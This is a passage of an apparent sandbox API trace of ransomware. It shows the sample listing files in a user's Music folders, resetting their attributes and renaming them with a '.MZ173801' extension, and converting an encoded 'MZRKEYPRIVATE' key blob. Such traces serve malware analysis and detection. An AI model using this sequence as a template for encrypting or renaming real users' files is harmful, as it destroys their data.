CloseHandle (hObject=0x27c) returned 1 [0158.984] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\LFHpZh3EGDvVG\\QRroD6XCz-BrMFrtkIV.m4a" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\vqltak\\lfhpzh3egdvvg\\qrrod6xcz-brmfrtkiv.m4a"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\LFHpZh3EGDvVG\\QRroD6XCz-BrMFrtkIV.m4a.MZ173801" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\vqltak\\lfhpzh3egdvvg\\qrrod6xcz-brmfrtkiv.m4a.mz173801")) returned 1 [0158.988] GetCurrentThreadId () returned 0xab4 [0158.988] GetCurrentThreadId () returned 0xab4 [0158.988] GetCurrentThreadId () returned 0xab4 [0158.988] GetCurrentThreadId () returned 0xab4 [0158.988] GetCurrentThreadId () returned 0xab4 [0158.988] GetCurrentThreadId () returned 0xab4 [0158.988] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f2ec | out: lpFindFileData=0x19f2ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x762b6fc0, ftCreationTime.dwHighDateTime=0x1d5eac6, ftLastAccessTime.dwLowDateTime=0xb0c317f0, ftLastAccessTime.dwHighDateTime=0x1d5eeb3, ftLastWriteTime.dwLowDateTime=0xb0c317f0, ftLastWriteTime.dwHighDateTime=0x1d5eeb3, nFileSizeHigh=0x0, nFileSizeLow=0x17485, dwReserved0=0x0, dwReserved1=0x19f34c, cFileName="QRroD6XCz-BrMFrtkIV.m4a", cAlternateFileName="QRROD6~1.M4A")) returned 0 [0158.988] GetLastError () returned 0x12 [0158.988] FindClose (in: hFindFile=0xa1b7a8 | out: hFindFile=0xa1b7a8) returned 1 [0158.989] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\LFHpZh3EGDvVG\\*.*", lpFindFileData=0x19f2ec | out: lpFindFileData=0x19f2ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x39598360, ftCreationTime.dwHighDateTime=0x1d5e2c5, ftLastAccessTime.dwLowDateTime=0x88e86e1c, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x88e86e1c, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f34c, cFileName=".", cAlternateFileName="")) returned 0xa1b850 [0158.989] FileTimeToLocalFileTime (in: lpFileTime=0x19f300, lpLocalFileTime=0x19f264 | out: lpLocalFileTime=0x19f264) returned 1 [0158.989] FileTimeToDosDateTime (in: lpFileTime=0x19f264, lpFatDate=0x19f2ce, lpFatTime=0x19f2cc | out: lpFatDate=0x19f2ce, lpFatTime=0x19f2cc) returned 1 [0158.989] FindNextFileW (in: hFindFile=0xa1b850, lpFindFileData=0x19f2ec | out: lpFindFileData=0x19f2ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x39598360, ftCreationTime.dwHighDateTime=0x1d5e2c5, ftLastAccessTime.dwLowDateTime=0x88e86e1c, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x88e86e1c, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f34c, cFileName="..", cAlternateFileName="")) returned 1 [0158.989] FileTimeToLocalFileTime (in: lpFileTime=0x19f300, lpLocalFileTime=0x19f260 | out: lpLocalFileTime=0x19f260) returned 1 [0158.989] FileTimeToDosDateTime (in: lpFileTime=0x19f260, lpFatDate=0x19f2ce, lpFatTime=0x19f2cc | out: lpFatDate=0x19f2ce, lpFatTime=0x19f2cc) returned 1 [0158.989] FindNextFileW (in: hFindFile=0xa1b850, lpFindFileData=0x19f2ec | out: lpFindFileData=0x19f2ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x509c68d0, ftCreationTime.dwHighDateTime=0x1d5ed97, ftLastAccessTime.dwLowDateTime=0x785f9230, ftLastAccessTime.dwHighDateTime=0x1d5ed55, ftLastWriteTime.dwLowDateTime=0x88dee407, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x10efa, dwReserved0=0x0, dwReserved1=0x19f34c, cFileName="7xXZSvgm4j.m4a.MZ173801", cAlternateFileName="7XXZSV~1.MZ1")) returned 1 [0158.989] FileTimeToLocalFileTime (in: lpFileTime=0x19f300, lpLocalFileTime=0x19f260 | out: lpLocalFileTime=0x19f260) returned 1 [0158.989] FileTimeToDosDateTime (in: lpFileTime=0x19f260, lpFatDate=0x19f2ce, lpFatTime=0x19f2cc | out: lpFatDate=0x19f2ce, lpFatTime=0x19f2cc) returned 1 [0158.989] FindNextFileW (in: hFindFile=0xa1b850, lpFindFileData=0x19f2ec | out: lpFindFileData=0x19f2ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4344bd0, ftCreationTime.dwHighDateTime=0x1d5ed17, ftLastAccessTime.dwLowDateTime=0xc3448640, ftLastAccessTime.dwHighDateTime=0x1d5e614, ftLastWriteTime.dwLowDateTime=0x88e14625, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0xbf3f, dwReserved0=0x0, dwReserved1=0x19f34c, cFileName="Eqf_vPTfpsTYa7.mp3.MZ173801", cAlternateFileName="EQF_VP~1.MZ1")) returned 1 [0158.989] FileTimeToLocalFileTime (in: lpFileTime=0x19f300, lpLocalFileTime=0x19f260 | out: lpLocalFileTime=0x19f260) returned 1 [0158.989] FileTimeToDosDateTime (in: lpFileTime=0x19f260, lpFatDate=0x19f2ce, lpFatTime=0x19f2cc | out: lpFatDate=0x19f2ce, lpFatTime=0x19f2cc) returned 1 [0158.989] FindNextFileW (in: hFindFile=0xa1b850, lpFindFileData=0x19f2ec | out: lpFindFileData=0x19f2ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99508af0, ftCreationTime.dwHighDateTime=0x1d5e2b8, ftLastAccessTime.dwLowDateTime=0xbe092540, ftLastAccessTime.dwHighDateTime=0x1d5e7cd, ftLastWriteTime.dwLowDateTime=0x88e61e1f, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x18a64, dwReserved0=0x0, dwReserved1=0x19f34c, cFileName="fWrYbFvKgXjYGT.m4a.MZ173801", cAlternateFileName="FWRYBF~1.MZ1")) returned 1 [0158.989] FileTimeToLocalFileTime (in: lpFileTime=0x19f300, lpLocalFileTime=0x19f260 | out: lpLocalFileTime=0x19f260) returned 1 [0158.989] FileTimeToDosDateTime (in: lpFileTime=0x19f260, lpFatDate=0x19f2ce, lpFatTime=0x19f2cc | out: lpFatDate=0x19f2ce, lpFatTime=0x19f2cc) returned 1 [0158.989] FindNextFileW (in: hFindFile=0xa1b850, lpFindFileData=0x19f2ec | out: lpFindFileData=0x19f2ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x762b6fc0, ftCreationTime.dwHighDateTime=0x1d5eac6, ftLastAccessTime.dwLowDateTime=0xb0c317f0, ftLastAccessTime.dwHighDateTime=0x1d5eeb3, ftLastWriteTime.dwLowDateTime=0x88e61e1f, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x17485, dwReserved0=0x0, dwReserved1=0x19f34c, cFileName="QRroD6XCz-BrMFrtkIV.m4a.MZ173801", cAlternateFileName="QRROD6~1.MZ1")) returned 1 [0158.989] FileTimeToLocalFileTime (in: lpFileTime=0x19f300, lpLocalFileTime=0x19f260 | out: lpLocalFileTime=0x19f260) returned 1 [0158.989] FileTimeToDosDateTime (in: lpFileTime=0x19f260, lpFatDate=0x19f2ce, lpFatTime=0x19f2cc | out: lpFatDate=0x19f2ce, lpFatTime=0x19f2cc) returned 1 [0158.989] FindNextFileW (in: hFindFile=0xa1b850, lpFindFileData=0x19f2ec | out: lpFindFileData=0x19f2ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x762b6fc0, ftCreationTime.dwHighDateTime=0x1d5eac6, ftLastAccessTime.dwLowDateTime=0xb0c317f0, ftLastAccessTime.dwHighDateTime=0x1d5eeb3, ftLastWriteTime.dwLowDateTime=0x88e61e1f, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x17485, dwReserved0=0x0, dwReserved1=0x19f34c, cFileName="QRroD6XCz-BrMFrtkIV.m4a.MZ173801", cAlternateFileName="QRROD6~1.MZ1")) returned 0 [0158.989] GetLastError () returned 0x12 [0158.989] FindClose (in: hFindFile=0xa1b850 | out: hFindFile=0xa1b850) returned 1 [0158.990] FindNextFileW (in: hFindFile=0xa1b738, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9088cc90, ftCreationTime.dwHighDateTime=0x1d5e85b, ftLastAccessTime.dwLowDateTime=0xc982e580, ftLastAccessTime.dwHighDateTime=0x1d5e3f1, ftLastWriteTime.dwLowDateTime=0x88c24716, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x3374, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="xC-u2wjwqhihKd-.m4a.MZ173801", cAlternateFileName="XC-U2W~1.MZ1")) returned 1 [0158.990] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0158.990] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0158.990] FindNextFileW (in: hFindFile=0xa1b738, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9088cc90, ftCreationTime.dwHighDateTime=0x1d5e85b, ftLastAccessTime.dwLowDateTime=0xc982e580, ftLastAccessTime.dwHighDateTime=0x1d5e3f1, ftLastWriteTime.dwLowDateTime=0x88c24716, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x3374, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="xC-u2wjwqhihKd-.m4a.MZ173801", cAlternateFileName="XC-U2W~1.MZ1")) returned 0 [0158.990] GetLastError () returned 0x12 [0158.990] FindClose (in: hFindFile=0xa1b738 | out: hFindFile=0xa1b738) returned 1 [0158.990] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3f82b200, ftCreationTime.dwHighDateTime=0x1d5ebdc, ftLastAccessTime.dwLowDateTime=0x7f55e9e0, ftLastAccessTime.dwHighDateTime=0x1d5efdf, ftLastWriteTime.dwLowDateTime=0x7f55e9e0, ftLastWriteTime.dwHighDateTime=0x1d5efdf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="VqltAk", cAlternateFileName="")) returned 0 [0158.990] GetLastError () returned 0x12 [0158.990] FindClose (in: hFindFile=0xa1b9a0 | out: hFindFile=0xa1b9a0) returned 1 [0158.990] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x4409f518, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x4409f518, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce3d633b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0158.990] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x61a6abc0, ftCreationTime.dwHighDateTime=0x1d5ece0, ftLastAccessTime.dwLowDateTime=0x6521bdc0, ftLastAccessTime.dwHighDateTime=0x1d5efca, ftLastWriteTime.dwLowDateTime=0x6521bdc0, ftLastWriteTime.dwHighDateTime=0x1d5efca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="Gsdux_nrV", cAlternateFileName="GSDUX_~1")) returned 1 [0158.990] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0158.990] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0158.990] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\Gsdux_nrV\\*.*", lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x61a6abc0, ftCreationTime.dwHighDateTime=0x1d5ece0, ftLastAccessTime.dwLowDateTime=0x6521bdc0, ftLastAccessTime.dwHighDateTime=0x1d5efca, ftLastWriteTime.dwLowDateTime=0x6521bdc0, ftLastWriteTime.dwHighDateTime=0x1d5efca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName=".", cAlternateFileName="")) returned 0xa1b818 [0158.990] FindNextFileW (in: hFindFile=0xa1b818, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x61a6abc0, ftCreationTime.dwHighDateTime=0x1d5ece0, ftLastAccessTime.dwLowDateTime=0x6521bdc0, ftLastAccessTime.dwHighDateTime=0x1d5efca, ftLastWriteTime.dwLowDateTime=0x6521bdc0, ftLastWriteTime.dwHighDateTime=0x1d5efca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="..", cAlternateFileName="")) returned 1 [0158.991] FindNextFileW (in: hFindFile=0xa1b818, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35ae1800, ftCreationTime.dwHighDateTime=0x1d5f041, ftLastAccessTime.dwLowDateTime=0xe7c86e40, ftLastAccessTime.dwHighDateTime=0x1d5e642, ftLastWriteTime.dwLowDateTime=0xe7c86e40, ftLastWriteTime.dwHighDateTime=0x1d5e642, nFileSizeHigh=0x0, nFileSizeLow=0x6845, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="1HV6OOMj2L4Qe_mHPLK.mp3", cAlternateFileName="1HV6OO~1.MP3")) returned 1 [0158.991] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7fc | out: lpLocalFileTime=0x19f7fc) returned 1 [0158.991] FileTimeToDosDateTime (in: lpFileTime=0x19f7fc, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0158.991] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\Gsdux_nrV\\1HV6OOMj2L4Qe_mHPLK.mp3" (normalized: "c:\\users\\fd1hvy\\music\\gsdux_nrv\\1hv6oomj2l4qe_mhplk.mp3"), fInfoLevelId=0x0, lpFileInformation=0x19f78c | out: lpFileInformation=0x19f78c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35ae1800, ftCreationTime.dwHighDateTime=0x1d5f041, ftLastAccessTime.dwLowDateTime=0xe7c86e40, ftLastAccessTime.dwHighDateTime=0x1d5e642, ftLastWriteTime.dwLowDateTime=0xe7c86e40, ftLastWriteTime.dwHighDateTime=0x1d5e642, nFileSizeHigh=0x0, nFileSizeLow=0x6845)) returned 1 [0158.991] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\Gsdux_nrV\\1HV6OOMj2L4Qe_mHPLK.mp3" (normalized: "c:\\users\\fd1hvy\\music\\gsdux_nrv\\1hv6oomj2l4qe_mhplk.mp3")) returned 0x20 [0158.991] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\Gsdux_nrV\\1HV6OOMj2L4Qe_mHPLK.mp3", dwFileAttributes=0x80) returned 1 [0158.993] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0158.993] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x321794c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/Dt